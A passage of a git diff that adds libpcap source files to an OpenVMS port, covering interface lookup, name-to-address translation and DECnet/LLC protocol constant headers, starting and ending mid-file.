= curaddr; + } + + return (0); +} + +int +pcap_add_if(pcap_if_t **devlist, char *name, u_int flags, + const char *description, char *errbuf) +{ + pcap_if_t *curdev; + + return (add_or_find_if(&curdev, devlist, name, flags, description, + errbuf)); +} + + +/* + * Free a list of interfaces. + */ +void +pcap_freealldevs(pcap_if_t *alldevs) +{ + pcap_if_t *curdev, *nextdev; + pcap_addr_t *curaddr, *nextaddr; + + for (curdev = alldevs; curdev != NULL; curdev = nextdev) { + nextdev = curdev->next; + + /* + * Free all addresses. + */ + for (curaddr = curdev->addresses; curaddr != NULL; curaddr = nextaddr) { + nextaddr = curaddr->next; + if (curaddr->addr) + free(curaddr->addr); + if (curaddr->netmask) + free(curaddr->netmask); + if (curaddr->broadaddr) + free(curaddr->broadaddr); + if (curaddr->dstaddr) + free(curaddr->dstaddr); + free(curaddr); + } + + /* + * Free the name string. + */ + free(curdev->name); + + /* + * Free the description string, if any. + */ + if (curdev->description != NULL) + free(curdev->description); + + /* + * Free the interface. + */ + free(curdev); + } +} + +#ifndef WIN32 + +/* + * Return the name of a network interface attached to the system, or NULL + * if none can be found. The interface must be configured up; the + * lowest unit number is preferred; loopback is ignored. + */ +char * +pcap_lookupdev(errbuf) + register char *errbuf; +{ + pcap_if_t *alldevs; +/* for old BSD systems, including bsdi3 */ +#ifndef IF_NAMESIZE +#define IF_NAMESIZE IFNAMSIZ +#endif + static char device[IF_NAMESIZE + 1]; + char *ret; + + if (pcap_findalldevs(&alldevs, errbuf) == -1) + return (NULL); + + if (alldevs == NULL || (alldevs->flags & PCAP_IF_LOOPBACK)) { + /* + * There are no devices on the list, or the first device + * on the list is a loopback device, which means there + * are no non-loopback devices on the list. This means + * we can't return any device. + * + * XXX - why not return a loopback device? If we can't + * capture on it, it won't be on the list, and if it's + * on the list, there aren't any non-loopback devices, + * so why not just supply it as the default device? + */ + (void)strlcpy(errbuf, "no suitable device found", + PCAP_ERRBUF_SIZE); + ret = NULL; + } else { + /* + * Return the name of the first device on the list. + */ + (void)strlcpy(device, alldevs->name, (int) sizeof(device)); + ret = device; + } + + pcap_freealldevs(alldevs); + return (ret); +} + +int +pcap_lookupnet(device, netp, maskp, errbuf) + register char *device; + register bpf_u_int32 *netp, *maskp; + register char *errbuf; +{ + register int fd; + register struct sockaddr_in *sin; +#ifdef VMS + struct ifconf ifc; + struct ifreq ifreq[64]; +#endif + struct ifreq ifr; + + /* + * The pseudo-device "any" listens on all interfaces and therefore + * has the network address and -mask "0.0.0.0" therefore catching + * all traffic. Using NULL for the interface is the same as "any". + */ + if (!device || strcmp(device, "any") == 0) { + *netp = *maskp = 0; + return 0; + } + + fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, "socket: %s", + pcap_strerror(errno)); + return (-1); + } +#ifdef VMS + ifc.ifc_req = ifreq; + ifc.ifc_len = sizeof(ifreq); + ioctl(fd, SIOCGIFCONF, (char *) &ifc); +#endif + memset(&ifr, 0, sizeof(ifr)); +#ifdef linux + /* XXX Work around Linux kernel bug */ + ifr.ifr_addr.sa_family = AF_INET; +#endif + (void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + if (ioctl(fd, SIOCGIFADDR, (char *)&ifr) < 0) { + if (errno == EADDRNOTAVAIL) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "%s: no IPv4 address assigned", device); + } else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFADDR: %s: %s", + device, pcap_strerror(errno)); + } + (void)close(fd); + return (-1); + } + sin = (struct sockaddr_in *)&ifr.ifr_addr; + *netp = sin->sin_addr.s_addr; + if (ioctl(fd, SIOCGIFNETMASK, (char *)&ifr) < 0) { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "SIOCGIFNETMASK: %s: %s", device, pcap_strerror(errno)); + (void)close(fd); + return (-1); + } + (void)close(fd); + *maskp = sin->sin_addr.s_addr; + if (*maskp == 0) { + if (IN_CLASSA(*netp)) + *maskp = IN_CLASSA_NET; + else if (IN_CLASSB(*netp)) + *maskp = IN_CLASSB_NET; + else if (IN_CLASSC(*netp)) + *maskp = IN_CLASSC_NET; + else { + (void)snprintf(errbuf, PCAP_ERRBUF_SIZE, + "inet class for 0x%x unknown", *netp); + return (-1); + } + } + *netp &= *maskp; + return (0); +} + +#else /* WIN32 */ + +/* + * Return the name of a network interface attached to the system, or NULL + * if none can be found. The interface must be configured up; the + * lowest unit number is preferred; loopback is ignored. + */ +char * +pcap_lookupdev(errbuf) + register char *errbuf; +{ + DWORD dwVersion; + DWORD dwWindowsMajorVersion; + dwVersion = GetVersion(); /* get the OS version */ + dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion))); + + if (dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4) { + /* + * Windows 95, 98, ME. + */ + ULONG NameLength = 8192; + static char AdaptersName[8192]; + + PacketGetAdapterNames(AdaptersName,&NameLength); + + return (AdaptersName); + } else { + /* + * Windows NT (NT 4.0, W2K, WXP). + */ + ULONG NameLength = 8192; + static WCHAR AdaptersName[8192]; + + PacketGetAdapterNames((PTSTR)AdaptersName,&NameLength); + + return (char *)(AdaptersName); + } +} + + +int +pcap_lookupnet(device, netp, maskp, errbuf) + register char *device; + register bpf_u_int32 *netp, *maskp; + register char *errbuf; +{ + /* + * We need only the first address, so we allocate a single + * npf_if_addr structure and we set if_addr_size to 1. + */ + npf_if_addr if_addrs; + LONG if_addr_size = 1; + struct sockaddr_in *t_addr; + + if (!PacketGetNetInfoEx((void *)device, &if_addrs, &if_addr_size)) { + *netp = *maskp = 0; + return (0); + } + + t_addr = (struct sockaddr_in *) &(if_addrs.IPAddress); + *netp = t_addr->sin_addr.S_un.S_addr; + t_addr = (struct sockaddr_in *) &(if_addrs.SubnetMask); + *maskp = t_addr->sin_addr.S_un.S_addr; + + /* + * XXX - will we ever get back a 0 netmask? + * If so, we should presumably make the "if (*maskp == 0)" code + * above common, rather than non-Win32-specific. + */ + + *netp &= *maskp; + return (0); +} + +#endif /* WIN32 */ diff --git a/Pcap-VMS/pcap-vci/llc.h b/Pcap-VMS/pcap-vci/llc.h new file mode 100644 index 00000000..553611ba --- /dev/null +++ b/Pcap-VMS/pcap-vci/llc.h @@ -0,0 +1,69 @@ +/* + * Copyright (c) 1993, 1994, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/llc.h,v 1.2 2001/01/28 09:44:50 guy Exp $ (LBL) + */ + +/* + * 802.2 LLC SAP values. + */ + +#ifndef LLCSAP_NULL +#define LLCSAP_NULL 0x00 +#endif +#ifndef LLCSAP_GLOBAL +#define LLCSAP_GLOBAL 0xff +#endif +#ifndef LLCSAP_8021B +#define LLCSAP_8021B_I 0x02 +#endif +#ifndef LLCSAP_8021B +#define LLCSAP_8021B_G 0x03 +#endif +#ifndef LLCSAP_IP +#define LLCSAP_IP 0x06 +#endif +#ifndef LLCSAP_PROWAYNM +#define LLCSAP_PROWAYNM 0x0e +#endif +#ifndef LLCSAP_8021D +#define LLCSAP_8021D 0x42 +#endif +#ifndef LLCSAP_RS511 +#define LLCSAP_RS511 0x4e +#endif +#ifndef LLCSAP_ISO8208 +#define LLCSAP_ISO8208 0x7e +#endif +#ifndef LLCSAP_PROWAY +#define LLCSAP_PROWAY 0x8e +#endif +#ifndef LLCSAP_SNAP +#define LLCSAP_SNAP 0xaa +#endif +#ifndef LLCSAP_IPX +#define LLCSAP_IPX 0xe0 +#endif +#ifndef LLCSAP_NETBEUI +#define LLCSAP_NETBEUI 0xf0 +#endif +#ifndef LLCSAP_ISONS +#define LLCSAP_ISONS 0xfe +#endif diff --git a/Pcap-VMS/pcap-vci/nametoaddr.c b/Pcap-VMS/pcap-vci/nametoaddr.c new file mode 100644 index 00000000..1123e112 --- /dev/null +++ b/Pcap-VMS/pcap-vci/nametoaddr.c @@ -0,0 +1,435 @@ +/* + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * Name to id translation routines used by the scanner. + * These functions are not time critical. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.67 2002/08/02 05:53:53 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef WIN32 +#include + +#else /* WIN32 */ + +#ifdef VMS +#include "pcap-vms.h" +#endif +#ifndef VMS +#include +#endif +#include /* concession to AIX */ +#include +#include + +#include +#endif /* WIN32 */ + +/* + * XXX - why was this included even on UNIX? + */ +#ifdef __MINGW32__ +#include "IP6_misc.h" +#endif + +#ifndef WIN32 +#ifdef HAVE_ETHER_HOSTTON +#ifdef HAVE_NETINET_IF_ETHER_H +struct mbuf; /* Squelch compiler warnings on some platforms for */ +struct rtentry; /* declarations in */ +#include /* for "struct ifnet" in "struct arpcom" on Solaris */ +#include +#endif /* HAVE_NETINET_IF_ETHER_H */ +#endif /* HAVE_ETHER_HOSTTON */ +#include +#include +#endif /* WIN32 */ + +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#include "gencode.h" +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#ifndef NTOHL +#define NTOHL(x) (x) = ntohl(x) +#define NTOHS(x) (x) = ntohs(x) +#endif + +static inline int xdtoi(int); + +/* + * Convert host name to internet address. + * Return 0 upon failure. + */ +bpf_u_int32 ** +pcap_nametoaddr(const char *name) +{ +#ifndef h_addr + static bpf_u_int32 *hlist[2]; +#endif + bpf_u_int32 **p; + struct hostent *hp; + + if ((hp = gethostbyname(name)) != NULL) { +#ifndef h_addr + hlist[0] = (bpf_u_int32 *)hp->h_addr; + NTOHL(hp->h_addr); + return hlist; +#else + for (p = (bpf_u_int32 **)hp->h_addr_list; *p; ++p) + NTOHL(**p); + return (bpf_u_int32 **)hp->h_addr_list; +#endif + } + else + return 0; +} + +#ifdef INET6 +struct addrinfo * +pcap_nametoaddrinfo(const char *name) +{ + struct addrinfo hints, *res; + int error; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = PF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; /*not really*/ + error = getaddrinfo(name, NULL, &hints, &res); + if (error) + return NULL; + else + return res; +} +#endif /*INET6*/ + +/* + * Convert net name to internet address. + * Return 0 upon failure. + */ +bpf_u_int32 +pcap_nametonetaddr(const char *name) +{ +#ifndef WIN32 + struct netent *np; + + if ((np = getnetbyname(name)) != NULL) + return np->n_net; + else + return 0; +#else + /* + * There's no "getnetbyname()" on Windows. + */ + return 0; +#endif +} + +/* + * Convert a port name to its port and protocol numbers. + * We assume only TCP or UDP. + * Return 0 upon failure. + */ +int +pcap_nametoport(const char *name, int *port, int *proto) +{ + struct servent *sp; + char *other; + + sp = getservbyname(name, (char *)0); + if (sp != NULL) { + NTOHS(sp->s_port); + *port = sp->s_port; + *proto = pcap_nametoproto(sp->s_proto); + /* + * We need to check /etc/services for ambiguous entries. + * If we find the ambiguous entry, and it has the + * same port number, change the proto to PROTO_UNDEF + * so both TCP and UDP will be checked. + */ + if (*proto == IPPROTO_TCP) + other = "udp"; + else + other = "tcp"; + + sp = getservbyname(name, other); + if (sp != 0) { + NTOHS(sp->s_port); +#ifdef notdef + if (*port != sp->s_port) + /* Can't handle ambiguous names that refer + to different port numbers. */ + warning("ambiguous port %s in /etc/services", + name); +#endif + *proto = PROTO_UNDEF; + } + return 1; + } +#if defined(ultrix) || defined(__osf__) + /* Special hack in case NFS isn't in /etc/services */ + if (strcmp(name, "nfs") == 0) { + *port = 2049; + *proto = PROTO_UNDEF; + return 1; + } +#endif + return 0; +} + +int +pcap_nametoproto(const char *str) +{ + struct protoent *p; + + p = getprotobyname(str); + if (p != 0) + return p->p_proto; + else + return PROTO_UNDEF; +} + +#include "ethertype.h" + +struct eproto { + char *s; + u_short p; +}; + +/* Static data base of ether protocol types. */ +struct eproto eproto_db[] = { + { "pup", ETHERTYPE_PUP }, + { "xns", ETHERTYPE_NS }, + { "ip", ETHERTYPE_IP }, +#ifdef INET6 + { "ip6", ETHERTYPE_IPV6 }, +#endif + { "arp", ETHERTYPE_ARP }, + { "rarp", ETHERTYPE_REVARP }, + { "sprite", ETHERTYPE_SPRITE }, + { "mopdl", ETHERTYPE_MOPDL }, + { "moprc", ETHERTYPE_MOPRC }, + { "decnet", ETHERTYPE_DN }, + { "lat", ETHERTYPE_LAT }, + { "sca", ETHERTYPE_SCA }, + { "lanbridge", ETHERTYPE_LANBRIDGE }, + { "vexp", ETHERTYPE_VEXP }, + { "vprod", ETHERTYPE_VPROD }, + { "atalk", ETHERTYPE_ATALK }, + { "atalkarp", ETHERTYPE_AARP }, + { "loopback", ETHERTYPE_LOOPBACK }, + { "decdts", ETHERTYPE_DECDTS }, + { "decdns", ETHERTYPE_DECDNS }, + { (char *)0, 0 } +}; + +int +pcap_nametoeproto(const char *s) +{ + struct eproto *p = eproto_db; + + while (p->s != 0) { + if (strcmp(p->s, s) == 0) + return p->p; + p += 1; + } + return PROTO_UNDEF; +} + +/* Hex digit to integer. */ +static inline int +xdtoi(c) + register int c; +{ + if (isdigit(c)) + return c - '0'; + else if (islower(c)) + return c - 'a' + 10; + else + return c - 'A' + 10; +} + +int +__pcap_atoin(const char *s, bpf_u_int32 *addr) +{ + u_int n; + int len; + + *addr = 0; + len = 0; + while (1) { + n = 0; + while (*s && *s != '.') + n = n * 10 + *s++ - '0'; + *addr <<= 8; + *addr |= n & 0xff; + len += 8; + if (*s == '\0') + return len; + ++s; + } + /* NOTREACHED */ +} + +int +__pcap_atodn(const char *s, bpf_u_int32 *addr) +{ +#define AREASHIFT 10 +#define AREAMASK 0176000 +#define NODEMASK 01777 + + u_int node, area; + + if (sscanf((char *)s, "%d.%d", &area, &node) != 2) + bpf_error("malformed decnet address '%s'", s); + + *addr = (area << AREASHIFT) & AREAMASK; + *addr |= (node & NODEMASK); + + return(32); +} + +/* + * Convert 's' which has the form "xx:xx:xx:xx:xx:xx" into a new + * ethernet address. Assumes 's' is well formed. + */ +u_char * +pcap_ether_aton(const char *s) +{ + register u_char *ep, *e; + register u_int d; + + e = ep = (u_char *)malloc(6); + + while (*s) { + if (*s == ':') + s += 1; + d = xdtoi(*s++); + if (isxdigit((unsigned char)*s)) { + d <<= 4; + d |= xdtoi(*s++); + } + *ep++ = d; + } + + return (e); +} + +#ifndef HAVE_ETHER_HOSTTON +/* Roll our own */ +u_char * +pcap_ether_hostton(const char *name) +{ + register struct pcap_etherent *ep; + register u_char *ap; + static FILE *fp = NULL; + static int init = 0; + + if (!init) { + fp = fopen(PCAP_ETHERS_FILE, "r"); + ++init; + if (fp == NULL) + return (NULL); + } else if (fp == NULL) + return (NULL); + else + rewind(fp); + + while ((ep = pcap_next_etherent(fp)) != NULL) { + if (strcmp(ep->name, name) == 0) { + ap = (u_char *)malloc(6); + if (ap != NULL) { + memcpy(ap, ep->addr, 6); + return (ap); + } + break; + } + } + return (NULL); +} +#else + +/* + * XXX - perhaps this should, instead, be declared in "lbl/os-XXX.h" files, + * for those OS versions that don't declare it, rather than being declared + * here? That way, for example, we could declare it on FreeBSD 2.x (which + * doesn't declare it), but not on FreeBSD 3.x (which declares it like + * this) or FreeBSD 4.x (which declares it with its first argument as + * "const char *", so no matter how we declare it here, it'll fail to + * compile on one of 3.x or 4.x). + */ +#if !defined(sgi) && !defined(__NetBSD__) && !defined(__FreeBSD__) +extern int ether_hostton(char *, struct ether_addr *); +#endif + +/* Use the os supplied routines */ +u_char * +pcap_ether_hostton(const char *name) +{ + register u_char *ap; + u_char a[6]; + + ap = NULL; + if (ether_hostton((char *)name, (struct ether_addr *)a) == 0) { + ap = (u_char *)malloc(6); + if (ap != NULL) + memcpy((char *)ap, (char *)a, 6); + } + return (ap); +} +#endif + +u_short +__pcap_nametodnaddr(const char *name) +{ +#ifdef DECNETLIB + struct nodeent *getnodebyname(); + struct nodeent *nep; + unsigned short res; + + nep = getnodebyname(name); + if (nep == ((struct nodeent *)0)) + bpf_error("unknown decnet host name '%s'\n", name); + + memcpy((char *)&res, (char *)nep->n_addr, sizeof(unsigned short)); + return(res); +#else + bpf_error("decnet name support not included, '%s' cannot be translated\n", + name); + return(0); +#endif +} diff --git a/Pcap-VMS/pcap-vci/nlpid.h b/Pcap-VMS/pcap-vci/nlpid.h new file mode 100644 index 00000000..ee571913 --- /dev/null +++ b/Pcap-VMS/pcap-vci/nlpid.h @@ -0,0 +1,43 @@ +/* + * Copyright (c) 1996 + * Juniper Networks, Inc. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution. The name of Juniper Networks may not + * be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/nlpid.h,v 1.1 2000/10/28 09:30:22 guy Exp $ (Juniper) + */ + +/* Types missing from some systems */ + +/* + * Network layer prototocol identifiers + */ +#ifndef ISO8473_CLNP +#define ISO8473_CLNP 0x81 +#endif +#ifndef ISO9542_ESIS +#define ISO9542_ESIS 0x82 +#endif +#ifndef ISO9542X25_ESIS +#define ISO9542X25_ESIS 0x8a +#endif +#ifndef ISO10589_ISIS +#define ISO10589_ISIS 0x83 +#endif +#ifndef ISO8878A_CONS +#define ISO8878A_CONS 0x84 +#endif +#ifndef ISO10747_IDRP +#define ISO10747_IDRP 0x85 +#endif diff --git a/Pcap-VMS/pcap-vci/nmadef.h b/Pcap-VMS/pcap-vci/nmadef.h new file mode 100644 index 00000000..9e5371dd --- /dev/null +++ b/Pcap-VMS/pcap-vci/nmadef.h @@ -0,0 +1,1683 @@ +/********************************************************************************************************************************/ +/* Created: 14-DEC-2002 13:42:17 by OpenVMS SDL EV1-50 */ +/* Source: 15-JAN-1990 21:49:30 $1$DKA100:[ANKAN.PCAP.WORK]NMADEF.SDL;1 */ +/********************************************************************************************************************************/ +/*** MODULE $NMADEF ***/ +#pragma __member_alignment __save +#pragma __nomember_alignment +/* */ +/* Object type */ +/* */ +#define NMA$C_OBJ_NIC 19 /* Nice listener */ +/* */ +/* Function codes */ +/* */ +#define NMA$C_FNC_LOA 15 /* Request down-line load */ +#define NMA$C_FNC_DUM 16 /* Request up-line dump */ +#define NMA$C_FNC_TRI 17 /* Trigger bootstrap */ +#define NMA$C_FNC_TES 18 /* Test */ +#define NMA$C_FNC_CHA 19 /* Change parameter */ +#define NMA$C_FNC_REA 20 /* Read information */ +#define NMA$C_FNC_ZER 21 /* Zero counters */ +#define NMA$C_FNC_SYS 22 /* System-specific function */ +/* */ +/* Option byte */ +/* */ +/* common to change parameter, read information and zero counters */ +/* */ +#define NMA$M_OPT_ENT 0x7 +#define NMA$M_OPT_CLE 0x40 +#define NMA$M_OPT_PER 0x80 +#define NMA$M_OPT_INF 0x70 +#define NMA$C_OPINF_SUM 0 /* Summary */ +#define NMA$C_OPINF_STA 1 /* Status */ +#define NMA$C_OPINF_CHA 2 /* Characteristics */ +#define NMA$C_OPINF_COU 3 /* Counters */ +#define NMA$C_OPINF_EVE 4 /* Events */ +/* */ +#define NMA$M_OPT_ACC 0x80 +#define NMA$M_OPT_REA 0x80 +#define NMA$C_SYS_RST 1 /* Rsts */ +#define NMA$C_SYS_RSX 2 /* Rsx family */ +#define NMA$C_SYS_TOP 3 /* Tops-20 */ +#define NMA$C_SYS_VMS 4 /* Vms */ +#define NMA$C_SYS_RT 5 /* RT-11 */ +/* */ +#define NMA$C_ENT_NOD 0 /* Node */ +#define NMA$C_ENT_LIN 1 /* Line */ +#define NMA$C_ENT_LOG 2 /* Logging */ +#define NMA$C_ENT_CIR 3 /* Circuit */ +#define NMA$C_ENT_MOD 4 /* Module */ +#define NMA$C_ENT_ARE 5 /* Area */ +/* */ +#define NMA$C_SENT_PROXY 2 /* Proxies */ +#define NMA$C_SENT_ALI 3 /* Alias */ +#define NMA$C_SENT_OBJ 4 /* Object */ +#define NMA$C_SENT_PRO 5 /* Process */ +#define NMA$C_SENT_SYS 6 /* System */ +#define NMA$C_SENT_LNK 7 /* Links */ +#define NMA$C_SENT_WLD -30 /* Wildcarded entity */ +#define NMA$M_ENT_EXE 0x80 +#define NMA$C_ENT_WAR -7 /* Wildcarded area */ +#define NMA$C_ENT_WAD -6 /* Wildcarded address */ +#define NMA$C_ENT_ADJ -4 /* Adjacent */ +#define NMA$C_ENT_ACT -2 /* Active */ +#define NMA$C_ENT_KNO -1 /* Known */ +#define NMA$C_ENT_ADD 0 /* Node address */ +#define NMA$C_ENT_ALL -3 /* All */ +#define NMA$C_ENT_LOO -3 /* Loop */ +/* */ +#define NMA$C_SNK_CON 1 /* Console */ +#define NMA$C_SNK_FIL 2 /* File */ +#define NMA$C_SNK_MON 3 /* Monitor */ +/* */ +#define NMA$M_CNT_TYP 0xFFF +#define NMA$M_CNT_MAP 0x1000 +#define NMA$M_CNT_WID 0x6000 +#define NMA$M_CNT_COU 0x8000 +#define NMA$M_CNT_WIL 0x2000 +#define NMA$M_CNT_WIH 0x4000 +union NMADEF { + struct { + unsigned NMA$V_OPT_ENT : 3; /* Entity type */ + unsigned NMADEF$$_FILL_1 : 3; +/* */ +/* change parameter */ +/* */ + unsigned NMA$V_OPT_CLE : 1; /* Clear parameter */ +/* */ +/* common to change parameter or read information */ +/* */ + unsigned NMA$V_OPT_PER : 1; /* Permanent parameters */ + } NMA$R_NMADEF_BITS0; +/* */ +/* read information */ +/* */ + struct { + unsigned NMADEF$$_FILL_2 : 4; + unsigned NMA$V_OPT_INF : 3; /* Information type mask */ + unsigned NMA$V_FILL_0 : 1; + } NMA$R_NMADEF_BITS1; +/* test */ +/* */ + struct { + unsigned NMADEF$$_FILL_3 : 7; + unsigned NMA$V_OPT_ACC : 1; /* Access control included */ + } NMA$R_NMADEF_BITS2; +/* */ +/* zero */ +/* */ + struct { + unsigned NMADEF$$_FILL_4 : 7; + unsigned NMA$V_OPT_REA : 1; /* Read and zero */ + } NMA$R_NMADEF_BITS3; +/* */ +/* System types */ +/* */ +/* Entity types. This numbering scheme must be used in non-system-specific */ +/* NICE messages. (See below for conflicting system-specific entities). */ +/* */ +/* System-specific (function 22) entity types. This numbering scheme */ +/* for objects must be used in any entity type in system-specific NICE */ +/* messages. */ +/* */ + struct { + unsigned NMADEF$$_FILL_5 : 7; + unsigned NMA$V_ENT_EXE : 1; /* Executor indicator flag for response messages */ + } NMA$R_NMADEF_BITS4; +/* */ +/* Entity identification format types */ +/* */ +/* Logging sink types */ +/* */ +/* Counter data type values */ +/* */ + struct { + unsigned NMA$V_CNT_TYP : 12; /* Type mask */ + unsigned NMA$V_CNT_MAP : 1; /* Bitmapped indicator */ + unsigned NMA$V_CNT_WID : 2; /* Width field mask */ + unsigned NMA$V_CNT_COU : 1; /* Counter indicator */ + } NMA$R_NMADEF_BITS5; + struct { + unsigned NMADEF$$_FILL_6 : 13; + unsigned NMA$V_CNT_WIL : 1; /* Width field low bit */ + unsigned NMA$V_CNT_WIH : 1; /* Width field high bit */ + unsigned NMA$V_FILL_1 : 1; + } NMA$R_NMADEF_BITS6; +/* */ +/* Node area and address extraction */ +/* */ + } ; +#define NMA$M_PTY_TYP 0x7FFF +#define NMA$C_PTY_MAX 15 /* Maximum fields within coded multiple */ +#define NMA$M_PTY_CLE 0x3F +#define NMA$M_PTY_MUL 0x40 +#define NMA$M_PTY_COD 0x80 +#define NMA$M_PTY_CMU 0xC0 +#define NMA$M_PTY_NLE 0xF +#define NMA$M_PTY_NTY 0x30 +#define NMA$M_PTY_ASC 0x40 +#define NMA$C_NTY_DU 0 /* Unsigned decimal */ +#define NMA$C_NTY_DS 1 /* Signed decimal */ +#define NMA$C_NTY_H 2 /* Hexidecimal */ +#define NMA$C_NTY_O 3 /* Octal */ +/* NLE values (length of number): */ +#define NMA$C_NLE_IMAGE 0 /* Image field (byte-counted) */ +#define NMA$C_NLE_BYTE 1 /* Byte */ +#define NMA$C_NLE_WORD 2 /* Word */ +#define NMA$C_NLE_LONG 4 /* Longword */ +#define NMA$C_NLE_QUAD 8 /* Quadword */ +/* */ +#define NMA$C_PTY_AI 64 /* ASCII image (ASC=1) */ +#define NMA$C_PTY_HI 32 /* Hex image (NTY=H, NLE=IMAGE) */ +#define NMA$C_PTY_H1 33 /* Hex byte (NTY=H, NLE=BYTE) */ +#define NMA$C_PTY_H2 34 /* Hex word (NTY=H, NLE=WORD) */ +#define NMA$C_PTY_H4 36 /* Hex byte (NTY=H, NLE=LONG) */ +#define NMA$C_PTY_DU1 1 /* Decimal unsigned byte (NTY=DU,NLE=BYTE) */ +#define NMA$C_PTY_DU2 2 /* Decimal unsigned word (NTY=DU,NLE=WORD) */ +#define NMA$C_PTY_CD1 129 /* Coded decimal byte (COD=1, 1 byte) */ +#define NMA$C_PTY_CM2 194 /* Coded multiple, 2 fields */ +#define NMA$C_PTY_CM3 195 /* Coded multiple, 3 fields */ +#define NMA$C_PTY_CM4 196 /* Coded multiple, 4 fields */ +#define NMA$C_PTY_CM5 197 /* Coded multiple, 5 fields */ +/* */ +#define NMA$C_CTLVL_UI 3 /* User interface */ +#define NMA$C_CTLVL_XID 175 /* */ +#define NMA$C_CTLVL_XID_P 191 /* */ +#define NMA$C_CTLVL_TEST 227 /* */ +#define NMA$C_CTLVL_TEST_P 243 /* */ +/* */ +#define NMA$C_PCCI_STA 0 /* State (coded byte of NMA$C_STATE_) */ +#define NMA$C_PCCI_SUB 1 /* Substate (coded byte of NMA$C_LINSS_) */ +#define NMA$C_PCCI_SER 100 /* Service (coded byte of NMA$C_LINSV_) */ +#define NMA$C_PCCI_LCT 110 /* Counter timer (word) */ +#define NMA$C_PCCI_SPY 120 /* Service physical address (NI address) */ +#define NMA$C_PCCI_SSB 121 /* Service substate (coded byte of NMA$C_LINSS_) */ +#define NMA$C_PCCI_CNO 200 /* Connected node */ +#define NMA$C_PCCI_COB 201 /* Connected object */ +#define NMA$C_PCCI_LOO 400 /* Loopback name (ascic) */ +#define NMA$C_PCCI_ADJ 800 /* Adjacent node */ +#define NMA$C_PCCI_DRT 801 /* Designated router on NI */ +#define NMA$C_PCCI_BLO 810 /* Block size (word) */ +#define NMA$C_PCCI_COS 900 /* Cost (byte) */ +#define NMA$C_PCCI_MRT 901 /* Maximum routers on NI (byte) */ +#define NMA$C_PCCI_RPR 902 /* Router priority on NI (byte) */ +#define NMA$C_PCCI_HET 906 /* Hello timer (word) */ +#define NMA$C_PCCI_LIT 907 /* Listen timer (word) */ +#define NMA$C_PCCI_BLK 910 /* Blocking (coded byte of NMA$C_CIRBLK_) */ +#define NMA$C_PCCI_MRC 920 /* Maximum recalls (byte) */ +#define NMA$C_PCCI_RCT 921 /* Recall timer (word) */ +#define NMA$C_PCCI_NUM 930 /* Number (ascic) */ +#define NMA$C_PCCI_USR 1000 /* User entity identification */ +#define NMA$C_PCCI_POL 1010 /* Polling state (coded byte of NMA$C_CIRPST_) */ +#define NMA$C_PCCI_PLS 1011 /* Polling substate (coded byte) */ +#define NMA$C_PCCI_OWN 1100 /* Owner entity identification */ +#define NMA$C_PCCI_LIN 1110 /* Line (ascic) */ +#define NMA$C_PCCI_USE 1111 /* Usage (coded byte of NMA$C_CIRUS_) */ +#define NMA$C_PCCI_TYP 1112 /* Type (coded byte of NMA$C_CIRTY_) */ +#define nma$c_pcci_net 1119 /* Network (ascic) */ +#define NMA$C_PCCI_DTE 1120 /* DTE (ascic) */ +#define NMA$C_PCCI_CHN 1121 /* Channel (word) */ +#define NMA$C_PCCI_MBL 1122 /* Maximum data (word) */ +#define NMA$C_PCCI_MWI 1123 /* Maximum window (byte) */ +#define NMA$C_PCCI_TRI 1140 /* Tributary (byte) */ +#define NMA$C_PCCI_BBT 